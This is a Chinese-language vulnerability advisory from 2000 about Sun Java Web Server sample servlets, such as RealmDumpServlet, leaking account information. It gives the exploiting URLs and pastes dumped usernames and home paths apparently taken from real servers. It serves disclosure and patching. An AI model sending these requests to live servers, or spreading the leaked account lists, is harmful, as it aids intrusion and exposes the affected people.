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安全研究

安全漏洞
Sun Java Web Server Servlets安全漏洞

发布日期:2000-07-27
更新日期:2000-07-27

受影响系统:

Sun Java Web Server 2.0
Sun Java Web Server 1.1.3
   - Sun Solaris 8
   - Sun Solaris 7
   - Sun Solaris 2.x
   - Microsoft Windows NT 4.0

描述:

Sun的java web server中缺省所带的一些servlet例程(例如:sunexamples.RealmDumpServlet)
存在一些安全漏洞。导致远程攻击者可获得java web server所在服务器中的用户名/口令等敏感信
息。

<* 来源:kevin@jumpline.com  *>






测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


1. http://javawebserver.com/pservlet.html

User: sherwin

User: floorsoft

User: shaw

User: sears

User: beaulieu

User: diyonline

User: chicken

User: homedepot

User: abbey

User: goodhome

User: design1

User: 121312

User: buildnet

User: lowes

User: admin

User: emmitt

User: tms

User: ifloor

User: jeeves

^-------------------- efault user / pass for web server

User: gerald

User: dixie

User: homeportfolio

User: buildscape

User: chuck

2. http://javawebserver/servlet/sunexamples.RealmDumpServlet

http://javawebserver:8080/servlet/sunexamples.RealmDumpServlet#Realm-NT



Individual Users:


User: brianw, home = \\aussie\home\brianw

User: chabell, home = \\aussie\home\chabell

User: davisons, home = \\aussie\home\davisons

User: exchadmin, home =

User: IUSR_AUSSIE, home =

User: IWAM_AUSSIE, home =

User: jd, home = \\aussie\home\jd

User: kkl, home = \\aussie\home\kkl

User: lisamh, home = \\aussie\home\lisamh

User: mattix, home = \\aussie\home\mattix

User: maxadmin, home = \\aussie\home\maxadmin

User: maxdev, home = \\aussie\home\maxdev

User: maxguest, home =

User: mcgreer, home = \\aussie\home\mcgreer

User: mdavis, home = \\aussie\home\mdavis

User: nbrathod, home = \\aussie\home\nbrathod

User: prnees, home = \\aussie\home\prnees

User: renee, home = \\aussie\home\renee

User: smcelder, home = \\aussie\home\smcelder

User: SQLAgentCmdExec, home = H:\



http://javawebserver/servlet/sunexamples.RealmDumpServlet#Users-UNIX

Individual Users:


User: root, home = /

User: daemon, home = /

User: bin, home = /usr/bin

User: sys, home = /

User: adm, home = /var/adm

User: lp, home = /usr/spool/lp

User: uucp, home = /usr/lib/uucp

User: nuucp, home = /var/spool/uucppublic

User: listen, home = /usr/net/nls

User: nobody, home = /

User: noaccess, home = /

User: nobody4, home = /

User: mc, home = /space/u/mc


建议:

Sun公司建议用户删除哪些不必要的例程,
补丁程序在下列地址:
http://www.sun.com/software/jwebserver/faq/jwsca-2000-02.html

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